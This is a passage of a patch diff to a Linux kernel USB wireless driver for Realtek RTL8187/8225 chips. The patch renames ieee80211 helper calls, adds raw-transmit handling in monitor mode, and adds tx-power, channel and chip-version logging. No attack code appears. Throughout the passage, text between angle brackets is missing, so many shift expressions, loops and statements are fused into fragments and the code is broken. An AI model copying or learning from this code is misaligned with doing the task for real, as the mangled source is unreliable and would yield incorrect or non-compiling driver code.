== IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1126,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1140,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1161,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + ieee80211_stop_queue_rtl7(priv->ieee80211); + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1188,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1203,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1218,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1227,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,30 +1235,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1228,7 +1268,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1249,55 +1289,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1347,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1358,16 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1379,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,8 +1392,8 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1365,32 +1405,32 @@ priv->stats.txlpdrop++; return -1; } - - + + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - + // if(priv->shortpre) // tx[0] |= (1<<16); - + //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS // tx[0] |= (1<<18); //ENABLE CTS @@ -1399,18 +1439,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1461,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1478,54 @@ } } - + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1534,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1545,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1566,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1593,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1620,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1661,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1708,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1768,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1816,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1825,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1908,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +1943,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +1972,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2062,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2128,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2151,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2165,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2209,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 